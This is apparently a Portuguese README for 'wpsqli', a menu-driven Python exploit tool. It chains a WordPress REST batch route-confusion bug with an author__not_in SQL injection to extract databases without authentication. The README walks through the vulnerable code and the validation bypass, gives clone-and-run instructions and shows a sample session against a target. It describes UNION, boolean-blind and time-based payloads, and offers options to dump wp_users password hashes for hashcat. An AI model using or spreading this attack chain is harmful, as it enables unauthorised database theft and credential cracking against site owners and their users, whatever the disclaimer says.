
wpsqli extrator completo de SQLi + dumper para CVE-2026-60137
Uma ferramenta rápida de extração de banco de dados orientada a menu que explora a vulnerabilidade de injeção SQL
author__not_inno núcleo do WordPress. Esta ferramenta se concentra puramente na enumeração e no despejo de banco de dados, utilizando a confusão de rotas do lote REST (CVE-2026-63030) para alcançar o sink de SQLi sem autenticação.
wpsqli é uma ferramenta puramente em Python projetada para explorar uma vulnerabilidade encadeada no núcleo do WordPress que permite injeção SQL sem autenticação no banco de dados. Ela contorna a validação da REST API do WordPress por meio de um bug de confusão de rotas no lote, entregando um payload de string bruto diretamente ao sink SQL do WP_Query.
Esta ferramenta foi construída para velocidade e flexibilidade: ela tenta automaticamente a extração in-band baseada em UNION (instantânea), recorre à extração booleana-cega paralela com 8 threads e, por fim, à extração sequencial baseada em tempo, se necessário.
Esta ferramenta encadeia duas vulnerabilidades independentes para alcançar a extração não autenticada do banco de dados:
author__not_in (CVE-2026-60137)Local: wp-includes/class-wp-query.php, WP_Query::get_posts()
O parâmetro author__not_in só aplica a sanitização absint() se a entrada for um array. Se uma string for passada, a proteção is_array() é ignorada, a string passa por implode() inalterada e é concatenada crua na cláusula SQL $where.
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
O endpoint de posts da REST API mapeia author_exclude para author__not_in, mas o declara como type => 'array' de inteiros, então o núcleo coage/rejeita uma string. O Bug B contrabandeia a string para além da validação ao abusar de um bug de dessincronização no endpoint de lote da REST (/wp-json/batch/v1). Ao injetar um primer de caminho malformado que wp_parse_url() rejeita, um WP_Error é semeado na lista de requisições do lote, dessincronizando $matches de $validation. Isso permite que uma sub-requisição seguinte seja despachada sob o manipulador errado, sem validação de parâmetros.
Ressalva: O sink de SQLi só é alcançado quando um cache de objetos persistente (Redis/Memcached) NÃO está em uso.
pip install necessário.wp_posts falsa para extrair strings inteiras em uma única requisição HTTP (instantânea).Ctrl+C durante a extração interrompe a consulta atual e retorna resultados parciais sem derrubar a sessão.ID|user_login|user_pass com hashes bcrypt prontos para hashcat -m 35500.Nenhuma instalação é necessária. Basta baixar e executar:
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
Requisitos:
Inicie o menu interativo:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| Opção | Descrição |
|---|---|
0 | Conectar a um alvo (sanitiza URLs automaticamente) |
1 | Verificar a vulnerabilidade e o modo de extração ativo |
| Opção | Descrição |
|---|---|
9 | Listar todos os bancos de dados no servidor MySQL |
10 | Listar todas as tabelas no banco de dados atual ou especificado |
11 | Listar todos os nomes de colunas de uma tabela específica |
| Opção | Descrição |
|---|---|
12 | Despejar uma única tabela (com limite opcional de linhas e salvamento em arquivo) |
13 | Despejar todas as tabelas do banco de dados atual |
14 | Despejo nuclear completo — todas as tabelas + todas as linhas em um arquivo com timestamp |
A ferramenta tenta automaticamente três modos de extração em ordem de velocidade:
Forja uma linha wp_posts falsa com o valor extraído codificado em hexadecimal na coluna post_title (envolvido pelos marcadores ||..||). A REST API o reflete de volta na resposta — a string inteira em uma única requisição HTTP.
CONCAT(0x7c7c, HEX(CAST((<expr>) AS CHAR)), 0x7c7c) para codificar o resultadoSe o UNION não estiver disponível, usa 8 threads paralelas com busca binária para extrair cada caractere. O oráculo booleano verifica se o AND (condition) injetado retorna linhas.
Fallback se o oráculo booleano não retornar linhas (por exemplo, site com 0 posts publicados). Usa IF(condition, SLEEP(N), 0) para codificar a verdade na latência da resposta.
Esta ferramenta foi projetada apenas para testes de segurança autorizados e fins educacionais. Você deve usar esta ferramenta somente contra sistemas de sua propriedade ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal.
Os autores e colaboradores desta ferramenta não são responsáveis por qualquer uso indevido ou dano causado por este software. Use por sua conta e risco.
Esta ferramenta é fornecida apenas para fins educacionais e de testes autorizados.
| Faixa de Versões | Status |
|---|
| 6.8.0 – 6.8.5 | Bug de SQLi presente, mas cadeia NÃO alcançável (confusão de lote introduzida na 6.9.0) |
| 6.9.0 – 6.9.4 | VULNERÁVEL — cadeia completa sem autenticação |
| 7.0.0 – 7.0.1 | VULNERÁVEL — cadeia completa sem autenticação |
| 6.8.6 | Corrigido (SQLi) |
| 6.9.5 | Corrigido |
| 7.0.2 | Corrigido |
| 7.1-beta2+ | Corrigido |
| Opção | Descrição |
|---|
2 | Extrair a versão do MySQL (SELECT @@version) |
3 | Extrair o nome do banco de dados atual (SELECT DATABASE()) |
4 | Extrair o usuário atual do banco de dados (SELECT CURRENT_USER()) |
5 | Extrair o prefixo das tabelas do WordPress |
6 | Despejar a tabela wp_users (ID, login, hash da senha) |
7 | Executar uma consulta SQL personalizada |
8 | Executar todos os fingerprints (opções 2-5) em sequência |
| Modo | Requisições por consulta | Velocidade | Quando usado |
|---|
| UNION | 1 | Instantânea | Sem cache de objetos, contagem de colunas corresponde |
| Boolean (8 threads) | ~7 × string_length / 8 | Rápida | UNION bloqueado, há linhas |
| Time-based | ~7 × sleep × string_length | Lenta | Sem linhas para o oráculo booleano |
| Extração | Caracteres | Requisições | Tempo |
|---|
| Versão do MySQL | ~20 | ~140 | ~15s |
| Nome do banco de dados | ~15 | ~105 | ~12s |
| Usuário do banco de dados | ~25 | ~175 | ~20s |
| Prefixo da tabela | ~5 | ~35 | ~5s |
| Linha wp_users (200 caracteres) | 200 | ~1400 | ~2min |